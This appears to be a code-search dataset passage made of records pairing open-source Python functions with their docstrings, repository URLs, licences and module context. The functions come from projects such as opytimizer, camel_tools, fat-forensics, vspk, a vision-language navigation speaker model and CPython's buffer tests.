new_plugins = [] for class_ in imported_plugins: service = class_() service.disable() new_plugins.append(service) logger.debug('\t Created new plugin services: %s', ','.join([p.__class__.__name__ for p in new_plugins])) return new_plugins def log_summary(): observers = ExtensionPoint(IPlugin) logging.info('Registered plugins:') for observer in observers: logging.info('\t %s' % observer) observers = ExtensionPoint(IWaveformGenerator) logging.info('Registered function generator plugins:') for observer in observers: logging.info('\t %s' % observer) observers = ExtensionPoint(ILoggingPlugin) logging.info('Registered logging plugins:') for observer in observers: logging.info('\t %s' % observer) def get_plugin_names(env=None): if env is None: env = 'pca' e = PluginGlobals.env(env) return list(e.plugin_registry.keys()) def get_service_class(name, env='microdrop.managed'): e = PluginGlobals.env(env) if name not in e.plugin_registry: raise KeyError('No plugin registered with name: %s' % name) return e.plugin_registry[name] def get_service_instance_by_name(name, env='microdrop.managed'): e = PluginGlobals.env(env) plugins = [p for i, p in enumerate(e.services) if name == p.name] if plugins: return plugins[0] else: raise KeyError('No plugin registered with name: %s' % name) def get_service_instance_by_package_name(name, env='microdrop.managed'): e = PluginGlobals.env(env) plugins = [p for i, p in enumerate(e.services) if name == get_plugin_package_name(p.__class__.__module__.split('.')[0])] if plugins: return plugins[0] else: raise KeyError('No plugin registered with package name: %s' % name) def get_plugin_package_name(module_name): return module_name.split('.')[-1] def get_service_instance(class_, env='microdrop.managed'): e = PluginGlobals.env(env) for service in e.services: if isinstance(service, class_): return service return None def get_service_names(env='microdrop.managed'): e = PluginGlobals.env(env) service_names = [] for name in get_plugin_names(env): plugin_class = e.plugin_registry[name] service = get_service_instance(plugin_class, env=env) if service is None: _L().warn('Plugin `%s` exists in registry, but instance cannot ' 'be found.', name) else: service_names.append(service.name) return service_names def get_schedule(observers, function): logger = _L() schedule_requests = {} for observer in observers.values(): if hasattr(observer, 'get_schedule_requests'): schedule_requests[observer.name] = observer.get_schedule_requests(function) if schedule_requests: scheduler = task_scheduler.TaskScheduler(observers.keys()) for request in [r for name, requests in schedule_requests.items() for r in requests]: try: scheduler.request_order(*request) except AssertionError: logger.debug('Schedule requests for `%s`', function) map(logger.debug, pprint.pformat(schedule_requests).splitlines()) logger.info('emit_signal(%s) could not add schedule request ' '%s', function, request) continue return scheduler.get_schedule() else: return observers.keys() def get_observers(function, interface=IPlugin): observers = {} for obs in ExtensionPoint(interface): if hasattr(obs, function): observers[obs.name] = obs return observers
BSD 3-Clause New or Revised License
gugarosa/opytimizer
opytimizer/optimizers/swarm/eho.py
EHO._updating_operator
python
def _updating_operator(self, agents, centers, function): for i in range(self.n_clans): clan_agents = self._get_agents_from_clan(agents, i) for j, agent in enumerate(clan_agents): a = copy.deepcopy(agent) r1 = r.generate_uniform_random_number() if j == 0: a.position = self.beta * centers[i] else: a.position += self.alpha * (clan_agents[0].position - a.position) * r1 a.clip_by_bound() a.fit = function(a.position) if a.fit < agent.fit: agent.position = copy.deepcopy(a.position) agent.fit = copy.deepcopy(a.fit)
Performs the separating operator. Args: agents (list): List of agents. centers (list): List of centers. function (Function): A Function object that will be used as the objective function.
https://github.com/gugarosa/opytimizer/blob/09e5485b9e30eca622ad404e85c22de0c42c8abd/opytimizer/optimizers/swarm/eho.py#L155-L198
import copy import numpy as np import opytimizer.math.random as r import opytimizer.utils.exception as e import opytimizer.utils.logging as l from opytimizer.core import Optimizer logger = l.get_logger(__name__) class EHO(Optimizer): def __init__(self, params=None): logger.info('Overriding class: Optimizer -> EHO.') super(EHO, self).__init__() self.alpha = 0.5 self.beta = 0.1 self.n_clans = 10 self.build(params) logger.info('Class overrided.') @property def alpha(self): return self._alpha @alpha.setter def alpha(self, alpha): if not isinstance(alpha, (float, int)): raise e.TypeError('`alpha` should be a float or integer') if alpha < 0 or alpha > 1: raise e.ValueError('`alpha` should be between 0 and 1') self._alpha = alpha @property def beta(self): return self._beta @beta.setter def beta(self, beta): if not isinstance(beta, (float, int)): raise e.TypeError('`beta` should be a float or integer') if beta < 0 or beta > 1: raise e.ValueError('`beta` should be between 0 and 1') self._beta = beta @property def n_clans(self): return self._n_clans @n_clans.setter def n_clans(self, n_clans): if not isinstance(n_clans, int): raise e.TypeError('`n_clans` should be an integer') if n_clans < 1: raise e.ValueError('`n_clans` should be > 0') self._n_clans = n_clans @property def n_ci(self): return self._n_ci @n_ci.setter def n_ci(self, n_ci): if not isinstance(n_ci, int): raise e.TypeError('`n_ci` should be an integer') if n_ci < 1: raise e.ValueError('`n_ci` should be > 0') self._n_ci = n_ci def compile(self, space): self.n_ci = space.n_agents // self.n_clans def _get_agents_from_clan(self, agents, index): start, end = index * self.n_ci, (index + 1) * self.n_ci if (index + 1) == self.n_clans: return sorted(agents[start:], key=lambda x: x.fit) return sorted(agents[start:end], key=lambda x: x.fit)
Apache License 2.0
nuagenetworks/vspk-python
vspk/v5_0/nuapplicationperformancemanagement.py
NUApplicationperformancemanagement.app_group_unique_id
python
def app_group_unique_id(self): return self._app_group_unique_id
Get app_group_unique_id value. Notes: 2 byte Id to uniquely identify Application Group between OVS, nuage_dpi and perfd processes for proper functioning of AAR. This attribute is named `appGroupUniqueId` in VSD API.
https://github.com/nuagenetworks/vspk-python/blob/375cce10ae144ad6017104e57fcd3630898cc2a6/vspk/v5_0/nuapplicationperformancemanagement.py#L247-L257
from .fetchers import NUMetadatasFetcher from .fetchers import NUGlobalMetadatasFetcher from .fetchers import NUApplicationBindingsFetcher from .fetchers import NUApplicationperformancemanagementbindingsFetcher from bambou import NURESTObject class NUApplicationperformancemanagement(NURESTObject): __rest_name__ = "applicationperformancemanagement" __resource_name__ = "applicationperformancemanagements" CONST_ENTITY_SCOPE_GLOBAL = "GLOBAL" CONST_ENTITY_SCOPE_ENTERPRISE = "ENTERPRISE" def __init__(self, **kwargs): super(NUApplicationperformancemanagement, self).__init__() self._name = None self._last_updated_by = None self._read_only = None self._description = None self._entity_scope = None self._app_group_unique_id = None self._associated_performance_monitor_id = None self._external_id = None self.expose_attribute(local_name="name", remote_name="name", attribute_type=str, is_required=True, is_unique=False) self.expose_attribute(local_name="last_updated_by", remote_name="lastUpdatedBy", attribute_type=str, is_required=False, is_unique=False) self.expose_attribute(local_name="read_only", remote_name="readOnly", attribute_type=bool, is_required=False, is_unique=False) self.expose_attribute(local_name="description", remote_name="description", attribute_type=str, is_required=False, is_unique=False) self.expose_attribute(local_name="entity_scope", remote_name="entityScope", attribute_type=str, is_required=False, is_unique=False, choices=[u'ENTERPRISE', u'GLOBAL']) self.expose_attribute(local_name="app_group_unique_id", remote_name="appGroupUniqueId", attribute_type=int, is_required=False, is_unique=False) self.expose_attribute(local_name="associated_performance_monitor_id", remote_name="associatedPerformanceMonitorID", attribute_type=str, is_required=False, is_unique=False) self.expose_attribute(local_name="external_id", remote_name="externalID", attribute_type=str, is_required=False, is_unique=True) self.metadatas = NUMetadatasFetcher.fetcher_with_object(parent_object=self, relationship="child") self.global_metadatas = NUGlobalMetadatasFetcher.fetcher_with_object(parent_object=self, relationship="child") self.application_bindings = NUApplicationBindingsFetcher.fetcher_with_object(parent_object=self, relationship="child") self.applicationperformancemanagementbindings = NUApplicationperformancemanagementbindingsFetcher.fetcher_with_object(parent_object=self, relationship="member") self._compute_args(**kwargs) @property def name(self): return self._name @name.setter def name(self, value): self._name = value @property def last_updated_by(self): return self._last_updated_by @last_updated_by.setter def last_updated_by(self, value): self._last_updated_by = value @property def read_only(self): return self._read_only @read_only.setter def read_only(self, value): self._read_only = value @property def description(self): return self._description @description.setter def description(self, value): self._description = value @property def entity_scope(self): return self._entity_scope @entity_scope.setter def entity_scope(self, value): self._entity_scope = value @property
BSD 3-Clause New or Revised License
fat-forensics/fat-forensics
fatf/transparency/models/feature_influence.py
_filter_rows
python
def _filter_rows(include_rows: Union[None, int, List[int]], exclude_rows: Union[None, int, List[int]], rows_number: int) -> List[int]: def within_bounds(error_type, row_index): if row_index < 0 or row_index >= rows_number: raise ValueError('{} rows element {} is out of bounds. There are ' 'only {} rows in the input dataset.'.format( error_type, row_index, rows_number)) return True assert isinstance(rows_number, int) and rows_number > 0, 'Rows number must be a positive integer.' if include_rows is None: include_rows = list(range(rows_number)) elif isinstance(include_rows, int): assert within_bounds('Include', include_rows), 'Index within bounds.' include_rows = [include_rows] elif isinstance(include_rows, list): for i in include_rows: if not isinstance(i, int): raise TypeError( 'Include rows element *{}* is not an integer.'.format(i)) assert within_bounds('Include', i), 'Every index is within bounds.' else: raise TypeError('The include_rows parameters must be either None or a ' 'list of integers indicating which rows should be ' 'included in the computation.') if exclude_rows is None: exclude_rows = [] elif isinstance(exclude_rows, int): assert within_bounds('Exclude', exclude_rows), 'Index within bounds.' exclude_rows = [exclude_rows] elif isinstance(exclude_rows, list): for i in exclude_rows: if not isinstance(i, int): raise TypeError( 'Exclude rows element *{}* is not an integer.'.format(i)) assert within_bounds('Exclude', i), 'Every index is within bounds.' else: raise TypeError('The exclude_rows parameters must be either None or a ' 'list of integers indicating which rows should be ' 'excluded in the computation.') filtered_rows = sorted(set(include_rows).difference(exclude_rows)) return filtered_rows
Filters row indices given the include and exclude lists. For the exceptions description please see the documentation of the :func`fatf.transparency.model.feature_influence. individual_conditional_expectation` function. Parameters ---------- include_rows: Union[None, integer, List[integer]] Indices of rows that will be included. If this parameter is specified, only the selected rows will be included. If additionally ``exclude_rows`` is specified the selected rows will be a set difference between the two. This parameter can either be a *list* of indices, a single index (integer) or ``None`` -- all indices. exclude_rows: Union[None, integer, List[integer]] Indices of rows to be excluded. If this parameter is specified and ``include_rows`` is not, these indices will be excluded from all of the rows. If both include and exclude parameters are specified, the included rows will be a set difference of the two. This parameter can either be a *list* of indices, a single index (integer) or ``None`` -- no indices. rows_number : integer The total number of rows from which these indices will be included/ excluded. Returns ------- filtered_rows : List[integer] Sorted list of row indices computed as a set difference between the ``include_rows`` parameter (or the whole set of indices for the array if the parameter is ``None``) and the ``exclude_rows`` parameters (or an empty set of indices if the parameter is ``None``).
https://github.com/fat-forensics/fat-forensics/blob/6fa252a1d90fe543242ef030a5f8a3f9c9f692fe/fatf/transparency/models/feature_influence.py#L185-L266
from typing import List, Optional, Tuple, Union import warnings import numpy as np import fatf.utils.array.tools as fuat import fatf.utils.array.validation as fuav import fatf.utils.models.validation as fumv from fatf.exceptions import IncompatibleModelError, IncorrectShapeError __all__ = ['individual_conditional_expectation', 'merge_ice_arrays', 'partial_dependence_ice', 'partial_dependence'] def _input_is_valid(dataset: np.ndarray, model: object, feature_index: Union[int, str], treat_as_categorical: Optional[bool], steps_number: Optional[int]) -> bool: is_input_ok = False if not fuav.is_2d_array(dataset): raise IncorrectShapeError('The input dataset must be a 2-dimensional ' 'array.') if not fuav.is_base_array(dataset): raise ValueError('The input dataset must only contain base types ' '(textual and numerical).') if not fumv.check_model_functionality(model, require_probabilities=True): raise IncompatibleModelError('This functionality requires the model ' 'to be capable of outputting ' 'probabilities via predict_proba method.') if not fuat.are_indices_valid(dataset, np.array([feature_index])): raise IndexError('Provided feature index is not valid for the input ' 'dataset.') if isinstance(steps_number, int): if steps_number < 2: raise ValueError('steps_number has to be at least 2.') elif steps_number is None: pass else: raise TypeError('steps_number parameter has to either be None or an ' 'integer.') if (not isinstance(treat_as_categorical, bool) and treat_as_categorical is not None): raise TypeError('treat_as_categorical has to either be None or a ' 'boolean.') is_input_ok = True return is_input_ok def _interpolate_array( dataset: np.ndarray, feature_index: Union[int, str], treat_as_categorical: bool, steps_number: Union[int, None]) -> Tuple[np.ndarray, np.ndarray]: assert isinstance(dataset, np.ndarray), 'Dataset -> numpy array.' assert isinstance(feature_index, (int, str)), 'Feature index -> str/ int.' assert isinstance(treat_as_categorical, bool), 'As categorical -> bool.' assert steps_number is None or isinstance(steps_number, int), 'Steps number -> None/ int.' is_structured = fuav.is_structured_array(dataset) if is_structured: column = dataset[feature_index] else: column = dataset[:, feature_index] if treat_as_categorical: interpolated_values = np.unique(column) interpolated_values.sort() steps_number = interpolated_values.shape[0] else: assert isinstance(steps_number, int), 'Steps number must be an int.' interpolated_values = np.linspace(column.min(), column.max(), steps_number) if (is_structured and dataset.dtype[feature_index] != interpolated_values.dtype): new_types = [] for name in dataset.dtype.names: if name == feature_index: dtype = fuat.generalise_dtype(interpolated_values.dtype, dataset.dtype[name]) new_types.append((name, dtype)) else: new_types.append((name, dataset.dtype[name])) dataset = dataset.astype(new_types) elif not is_structured and dataset.dtype != interpolated_values.dtype: dtype = fuat.generalise_dtype(interpolated_values.dtype, dataset.dtype) dataset = dataset.astype(dtype) interpolated_data = np.repeat(dataset[:, np.newaxis], steps_number, axis=1) assert len(interpolated_values) == steps_number, 'Required for broadcast.' if is_structured: for idx in range(steps_number): interpolated_data[:, idx][feature_index] = interpolated_values[idx] else: interpolated_data[:, :, feature_index] = interpolated_values return interpolated_data, interpolated_values
BSD 3-Clause New or Revised License
camel-lab/camel_tools
camel_tools/morphology/generator.py
Generator.generate
python
def generate(self, lemma, feats): lemma = strip_lex(lemma) if lemma not in self._db.lemma_hash: return [] for feat in feats: if feat not in self._db.defines: raise InvalidGeneratorFeature(feat) elif (self._db.defines[feat] is not None and feats[feat] not in self._db.defines[feat]): raise InvalidGeneratorFeatureValue(feat, feats[feat]) if 'pos' not in feats or feats['pos'] not in self._db.defines['pos']: raise InvalidGeneratorFeatureValue('pos', feats.get('pos', None)) feats = copy.copy(feats) default = self._db.defaults[feats['pos']] default_feat_set = frozenset(default.keys()) feat_set = frozenset(feats.keys()) if not feat_set.issubset(default_feat_set): return [] for feat in ['prc0', 'prc1', 'prc2', 'prc3', 'enc0', 'enc1', 'enc2']: if feat not in feats and feat in default: feats[feat] = default[feat] stem_feats_list = self._db.lemma_hash[lemma] analyses = collections.deque() for stem_feats in stem_feats_list: if 'vox' in feats and stem_feats['vox'] != feats['vox']: continue if 'rat' in feats and stem_feats['rat'] != feats['rat']: continue if 'pos' in feats and stem_feats['pos'] != feats['pos']: continue ignore_stem = False for feat in ['prc0', 'prc1', 'prc2', 'prc3', 'enc0', 'enc1', 'enc2']: if feat not in feats: continue if (feat in stem_feats and stem_feats[feat] != '0' and feats[feat] != stem_feats[feat]): ignore_stem = True break if ignore_stem: continue prefix_cats = self._db.stem_prefix_compat[stem_feats['stemcat']] suffix_cats = self._db.stem_suffix_compat[stem_feats['stemcat']] for prefix_cat in prefix_cats: if prefix_cat not in self._db.prefix_cat_hash: continue prefix_feats_list = self._db.prefix_cat_hash[prefix_cat] for prefix_feats in prefix_feats_list: ignore_prefix = False for feat in ['prc0', 'prc1', 'prc2', 'prc3']: if feat not in feats: continue if ((feats[feat] != '0' and feat not in prefix_feats and stem_feats.get(feat, '0') != feats[feat]) or (feat in prefix_feats and feats[feat] != prefix_feats[feat])): ignore_prefix = True break if ignore_prefix: continue for suffix_cat in suffix_cats: if suffix_cat not in self._db.suffix_cat_hash: continue suffix_feats_list = ( self._db.suffix_cat_hash[suffix_cat]) for suffix_feats in suffix_feats_list: if ((prefix_cat not in self._db.prefix_suffix_compat) or (suffix_cat not in self._db.prefix_suffix_compat[prefix_cat])): continue ignore_suffix = False for feat in ['enc0', 'enc1', 'enc2']: if feat not in feats: continue if ((feats[feat] != '0' and feat not in suffix_feats and stem_feats.get(feat, '0') != feats[feat]) or (feat in suffix_feats and feats[feat] != suffix_feats[feat])): ignore_suffix = True break if ignore_suffix: continue merged = merge_features(self._db, prefix_feats, stem_feats, suffix_feats) ignore_analysis = False for feat in feats.keys(): if (feat in merged and merged[feat] != feats[feat]): ignore_analysis = True break if not ignore_analysis: analyses.append(merged) return list(analyses)
Generate surface forms and their associated analyses for a given lemma and a given set of (possibly underspecified) features. The surface form is accessed through the `diac` feature. Args: lemma (:obj:`str`): Lemma to generate from. feats (:obj:`dict`): Dictionary of features. Must contain 'pos' feature. See :doc:`/reference/camel_morphology_features` for more information on features and their values. Returns: :obj:`list` of :obj:`dict`: List of generated analyses. See :doc:`/reference/camel_morphology_features` for more information on features and their values. Raises: :obj:`~camel_tools.morphology.errors.InvalidGeneratorFeature`: If a feature is given that is not defined in database. :obj:`~camel_tools.morphology.errors.InvalidGeneratorFeatureValue`: If an invalid value is given to a feature or if 'pos' feature is not defined.
https://github.com/camel-lab/camel_tools/blob/3f0655e382f9ef005892edccda7fe0a54a00f634/camel_tools/morphology/generator.py#L63-L207
from __future__ import absolute_import import copy import collections from camel_tools.morphology.database import MorphologyDB from camel_tools.morphology.errors import GeneratorError from camel_tools.morphology.errors import InvalidGeneratorFeature from camel_tools.morphology.errors import InvalidGeneratorFeatureValue from camel_tools.morphology.utils import merge_features, strip_lex class Generator(object): def __init__(self, db): if not isinstance(db, MorphologyDB): raise GeneratorError('DB is not an instance of MorphologyDB') if not db.flags.generation: raise GeneratorError('DB does not support generation') self._db = db
MIT License
hanqingwangai/active_vln
src/speaker.py
Speaker.infer_batch
python
def infer_batch(self, sampling=False, train=False, featdropmask=None): if train: self.encoder.train() self.decoder.train() else: self.encoder.eval() self.decoder.eval() obs = self.env._get_obs() batch_size = len(obs) viewpoints_list = [list() for _ in range(batch_size)] (img_feats, can_feats), lengths = self.from_shortest_path(viewpoints=viewpoints_list) if featdropmask is not None: img_feats[..., :-args.angle_feat_size] *= featdropmask can_feats[..., :-args.angle_feat_size] *= featdropmask ctx = self.encoder(can_feats, img_feats, lengths, already_dropfeat=(featdropmask is not None)) ctx_mask = utils.length2mask(lengths) words = [] log_probs = [] hidden_states = [] entropies = [] h_t = torch.zeros(1, batch_size, args.rnn_dim).cuda() c_t = torch.zeros(1, batch_size, args.rnn_dim).cuda() ended = np.zeros(len(obs), np.bool) word = np.ones(len(obs), np.int64) * self.tok.word_to_index['<BOS>'] word = torch.from_numpy(word).view(-1, 1).cuda() for i in range(args.maxDecode): logits, h_t, c_t = self.decoder(word, ctx, ctx_mask, h_t, c_t) logits = logits.squeeze() logits[:, self.tok.word_to_index['<UNK>']] = -float("inf") if sampling: probs = F.softmax(logits, -1) m = torch.distributions.Categorical(probs) word = m.sample() log_prob = m.log_prob(word) if train: log_probs.append(log_prob) hidden_states.append(h_t.squeeze()) entropies.append(m.entropy()) else: log_probs.append(log_prob.detach()) hidden_states.append(h_t.squeeze().detach()) entropies.append(m.entropy().detach()) else: values, word = logits.max(1) cpu_word = word.cpu().numpy() cpu_word[ended] = self.tok.word_to_index['<PAD>'] words.append(cpu_word) word = word.view(-1, 1) ended = np.logical_or(ended, cpu_word == self.tok.word_to_index['<EOS>']) if ended.all(): break if train and sampling: return np.stack(words, 1), torch.stack(log_probs, 1), torch.stack(hidden_states, 1), torch.stack(entropies, 1) else: return np.stack(words, 1)
:param sampling: if not, use argmax. else use softmax_multinomial :param train: Whether in the train mode :return: if sampling: return insts(np, [batch, max_len]), log_probs(torch, requires_grad, [batch,max_len]) hiddens(torch, requires_grad, [batch, max_len, dim}) And if train: the log_probs and hiddens are detached if not sampling: returns insts(np, [batch, max_len])
https://github.com/hanqingwangai/active_vln/blob/7b7b389fa371638be0bb837f70fb95c2ff80d4fe/src/speaker.py#L265-L350
import torch import numpy as np from param import args import os import utils import model import torch.nn.functional as F class Speaker(): env_actions = { 'left': (0,-1, 0), 'right': (0, 1, 0), 'up': (0, 0, 1), 'down': (0, 0,-1), 'forward': (1, 0, 0), '<end>': (0, 0, 0), '<start>': (0, 0, 0), '<ignore>': (0, 0, 0) } def __init__(self, env, listener, tok): self.env = env self.feature_size = self.env.feature_size self.tok = tok self.tok.finalize() self.listener = listener print("VOCAB_SIZE", self.tok.vocab_size()) self.encoder = model.SpeakerEncoder(self.feature_size+args.angle_feat_size, args.rnn_dim, args.dropout, bidirectional=args.bidir).cuda() self.decoder = model.SpeakerDecoder(self.tok.vocab_size(), args.wemb, self.tok.word_to_index['<PAD>'], args.rnn_dim, args.dropout).cuda() self.encoder_optimizer = args.optimizer(self.encoder.parameters(), lr=args.lr) self.decoder_optimizer = args.optimizer(self.decoder.parameters(), lr=args.lr) self.softmax_loss = torch.nn.CrossEntropyLoss(ignore_index=self.tok.word_to_index['<PAD>']) self.nonreduced_softmax_loss = torch.nn.CrossEntropyLoss( ignore_index=self.tok.word_to_index['<PAD>'], size_average=False, reduce=False ) def train(self, iters): for i in range(iters): self.env.reset() self.encoder_optimizer.zero_grad() self.decoder_optimizer.zero_grad() loss = self.teacher_forcing(train=True) loss.backward() torch.nn.utils.clip_grad_norm(self.encoder.parameters(), 40.) torch.nn.utils.clip_grad_norm(self.decoder.parameters(), 40.) self.encoder_optimizer.step() self.decoder_optimizer.step() def get_insts(self, wrapper=(lambda x: x)): self.env.reset_epoch(shuffle=True) path2inst = {} total = self.env.size() for _ in wrapper(range(total // self.env.batch_size + 1)): obs = self.env.reset() insts = self.infer_batch() path_ids = [ob['path_id'] for ob in obs] for path_id, inst in zip(path_ids, insts): if path_id not in path2inst: path2inst[path_id] = self.tok.shrink(inst) return path2inst def valid(self, *aargs, **kwargs): path2inst = self.get_insts(*aargs, **kwargs) self.env.reset_epoch(shuffle=True) N = 1 if args.fast_train else 3 metrics = np.zeros(3) for i in range(N): self.env.reset() metrics += np.array(self.teacher_forcing(train=False)) metrics /= N return (path2inst, *metrics) def make_equiv_action(self, a_t, perm_obs, perm_idx=None, traj=None): def take_action(i, idx, name): if type(name) is int: self.env.env.sims[idx].makeAction(name, 0, 0) else: self.env.env.sims[idx].makeAction(*self.env_actions[name]) state = self.env.env.sims[idx].getState() if traj is not None: traj[i]['path'].append((state.location.viewpointId, state.heading, state.elevation)) if perm_idx is None: perm_idx = range(len(perm_obs)) for i, idx in enumerate(perm_idx): action = a_t[i] if action != -1: select_candidate = perm_obs[i]['candidate'][action] src_point = perm_obs[i]['viewIndex'] trg_point = select_candidate['pointId'] src_level = (src_point) // 12 trg_level = (trg_point) // 12 while src_level < trg_level: take_action(i, idx, 'up') src_level += 1 while src_level > trg_level: take_action(i, idx, 'down') src_level -= 1 while self.env.env.sims[idx].getState().viewIndex != trg_point: take_action(i, idx, 'right') assert select_candidate['viewpointId'] == self.env.env.sims[idx].getState().navigableLocations[select_candidate['idx']].viewpointId take_action(i, idx, select_candidate['idx']) def _teacher_action(self, obs, ended, tracker=None): a = np.zeros(len(obs), dtype=np.int64) for i, ob in enumerate(obs): if ended[i]: a[i] = args.ignoreid else: for k, candidate in enumerate(ob['candidate']): if candidate['viewpointId'] == ob['teacher']: a[i] = k break else: assert ob['teacher'] == ob['viewpoint'] a[i] = len(ob['candidate']) return torch.from_numpy(a).cuda() def _candidate_variable(self, obs, actions): candidate_feat = np.zeros((len(obs), self.feature_size + args.angle_feat_size), dtype=np.float32) for i, (ob, act) in enumerate(zip(obs, actions)): if act == -1: pass else: c = ob['candidate'][act] candidate_feat[i, :] = c['feature'] return torch.from_numpy(candidate_feat).cuda() def from_shortest_path(self, viewpoints=None, get_first_feat=False): obs = self.env._get_obs() ended = np.array([False] * len(obs)) length = np.zeros(len(obs), np.int64) img_feats = [] can_feats = [] first_feat = np.zeros((len(obs), self.feature_size+args.angle_feat_size), np.float32) for i, ob in enumerate(obs): first_feat[i, -args.angle_feat_size:] = utils.angle_feature(ob['heading'], ob['elevation']) first_feat = torch.from_numpy(first_feat).cuda() while not ended.all(): if viewpoints is not None: for i, ob in enumerate(obs): viewpoints[i].append(ob['viewpoint']) img_feats.append(self.listener._feature_variable(obs)) teacher_action = self._teacher_action(obs, ended) teacher_action = teacher_action.cpu().numpy() for i, act in enumerate(teacher_action): if act < 0 or act == len(obs[i]['candidate']): teacher_action[i] = -1 can_feats.append(self._candidate_variable(obs, teacher_action)) self.make_equiv_action(teacher_action, obs) length += (1 - ended) ended[:] = np.logical_or(ended, (teacher_action == -1)) obs = self.env._get_obs() img_feats = torch.stack(img_feats, 1).contiguous() can_feats = torch.stack(can_feats, 1).contiguous() if get_first_feat: return (img_feats, can_feats, first_feat), length else: return (img_feats, can_feats), length def gt_words(self, obs): seq_tensor = np.array([ob['instr_encoding'] for ob in obs]) return torch.from_numpy(seq_tensor).cuda() def teacher_forcing(self, train=True, features=None, insts=None, for_listener=False): if train: self.encoder.train() self.decoder.train() else: self.encoder.eval() self.decoder.eval() if features is not None: assert insts is not None (img_feats, can_feats), lengths = features ctx = self.encoder(can_feats, img_feats, lengths) batch_size = len(lengths) else: obs = self.env._get_obs() batch_size = len(obs) (img_feats, can_feats), lengths = self.from_shortest_path() ctx = self.encoder(can_feats, img_feats, lengths) h_t = torch.zeros(1, batch_size, args.rnn_dim).cuda() c_t = torch.zeros(1, batch_size, args.rnn_dim).cuda() ctx_mask = utils.length2mask(lengths) if insts is None: insts = self.gt_words(obs) logits, _, _ = self.decoder(insts, ctx, ctx_mask, h_t, c_t) logits = logits.permute(0, 2, 1).contiguous() loss = self.softmax_loss( input = logits[:, :, :-1], target = insts[:, 1:] ) if for_listener: return self.nonreduced_softmax_loss( input = logits[:, :, :-1], target = insts[:, 1:] ) if train: return loss else: _, predict = logits.max(dim=1) gt_mask = (insts != self.tok.word_to_index['<PAD>']) correct = (predict[:, :-1] == insts[:, 1:]) * gt_mask[:, 1:] correct, gt_mask = correct.type(torch.LongTensor), gt_mask.type(torch.LongTensor) word_accu = correct.sum().item() / gt_mask[:, 1:].sum().item() sent_accu = (correct.sum(dim=1) == gt_mask[:, 1:].sum(dim=1)).sum().item() / batch_size return loss.item(), word_accu, sent_accu
MIT License
brython-dev/brython
www/src/Lib/test/test_buffer.py
ndarray_print
python
def ndarray_print(nd): try: x = nd.tolist() except (TypeError, NotImplementedError): x = nd.tobytes() if isinstance(nd, ndarray): offset = nd.offset flags = nd.flags else: offset = 'unknown' flags = 'unknown' print("ndarray(%s, shape=%s, strides=%s, suboffsets=%s, offset=%s, " "format='%s', itemsize=%s, flags=%s)" % (x, nd.shape, nd.strides, nd.suboffsets, offset, nd.format, nd.itemsize, flags)) sys.stdout.flush()
Print ndarray for debugging.
https://github.com/brython-dev/brython/blob/33aeaab551f1b73209326c5a0aecf98642d4c126/www/src/Lib/test/test_buffer.py#L732-L748
import contextlib import unittest from test import support from test.support import os_helper from itertools import permutations, product from random import randrange, sample, choice import warnings import sys, array, io, os from decimal import Decimal from fractions import Fraction try: from _testbuffer import * except ImportError: ndarray = None try: import struct except ImportError: struct = None try: import ctypes except ImportError: ctypes = None try: with os_helper.EnvironmentVarGuard() as os.environ, warnings.catch_warnings(): from numpy import ndarray as numpy_array except ImportError: numpy_array = None try: import _testcapi except ImportError: _testcapi = None SHORT_TEST = True NATIVE = { '?':0, 'c':0, 'b':0, 'B':0, 'h':0, 'H':0, 'i':0, 'I':0, 'l':0, 'L':0, 'n':0, 'N':0, 'f':0, 'd':0, 'P':0 } if numpy_array: del NATIVE['n'] del NATIVE['N'] if struct: try: struct.pack('Q', 2**64-1) NATIVE['q'] = 0 NATIVE['Q'] = 0 except struct.error: pass STANDARD = { '?':(0, 2), 'c':(0, 1<<8), 'b':(-(1<<7), 1<<7), 'B':(0, 1<<8), 'h':(-(1<<15), 1<<15), 'H':(0, 1<<16), 'i':(-(1<<31), 1<<31), 'I':(0, 1<<32), 'l':(-(1<<31), 1<<31), 'L':(0, 1<<32), 'q':(-(1<<63), 1<<63), 'Q':(0, 1<<64), 'f':(-(1<<63), 1<<63), 'd':(-(1<<1023), 1<<1023) } def native_type_range(fmt): if fmt == 'c': lh = (0, 256) elif fmt == '?': lh = (0, 2) elif fmt == 'f': lh = (-(1<<63), 1<<63) elif fmt == 'd': lh = (-(1<<1023), 1<<1023) else: for exp in (128, 127, 64, 63, 32, 31, 16, 15, 8, 7): try: struct.pack(fmt, (1<<exp)-1) break except struct.error: pass lh = (-(1<<exp), 1<<exp) if exp & 1 else (0, 1<<exp) return lh fmtdict = { '':NATIVE, '@':NATIVE, '<':STANDARD, '>':STANDARD, '=':STANDARD, '!':STANDARD } if struct: for fmt in fmtdict['@']: fmtdict['@'][fmt] = native_type_range(fmt) MEMORYVIEW = NATIVE.copy() ARRAY = NATIVE.copy() for k in NATIVE: if not k in "bBhHiIlLfd": del ARRAY[k] BYTEFMT = NATIVE.copy() for k in NATIVE: if not k in "Bbc": del BYTEFMT[k] fmtdict['m'] = MEMORYVIEW fmtdict['@m'] = MEMORYVIEW fmtdict['a'] = ARRAY fmtdict['b'] = BYTEFMT fmtdict['@b'] = BYTEFMT MODE = 0 MULT = 1 cap = { 'ndarray': (['', '@', '<', '>', '=', '!'], ['', '1', '2', '3']), 'array': (['a'], ['']), 'numpy': ([''], ['']), 'memoryview': (['@m', 'm'], ['']), 'bytefmt': (['@b', 'b'], ['']), } def randrange_fmt(mode, char, obj): x = randrange(*fmtdict[mode][char]) if char == 'c': x = bytes([x]) if obj == 'numpy' and x == b'\x00': x = b'\x01' if char == '?': x = bool(x) if char == 'f' or char == 'd': x = struct.pack(char, x) x = struct.unpack(char, x)[0] return x def gen_item(fmt, obj): mode, chars = fmt.split('#') x = [] for c in chars: x.append(randrange_fmt(mode, c, obj)) return x[0] if len(x) == 1 else tuple(x) def gen_items(n, fmt, obj): if n == 0: return gen_item(fmt, obj) lst = [0] * n for i in range(n): lst[i] = gen_item(fmt, obj) return lst def struct_items(n, obj): mode = choice(cap[obj][MODE]) xfmt = mode + '#' fmt = mode.strip('amb') nmemb = randrange(2, 10) for _ in range(nmemb): char = choice(tuple(fmtdict[mode])) multiplier = choice(cap[obj][MULT]) xfmt += (char * int(multiplier if multiplier else 1)) fmt += (multiplier + char) items = gen_items(n, xfmt, obj) item = gen_item(xfmt, obj) return fmt, items, item def randitems(n, obj='ndarray', mode=None, char=None): if mode is None: mode = choice(cap[obj][MODE]) if char is None: char = choice(tuple(fmtdict[mode])) multiplier = choice(cap[obj][MULT]) fmt = mode + '#' + char * int(multiplier if multiplier else 1) items = gen_items(n, fmt, obj) item = gen_item(fmt, obj) fmt = mode.strip('amb') + multiplier + char return fmt, items, item def 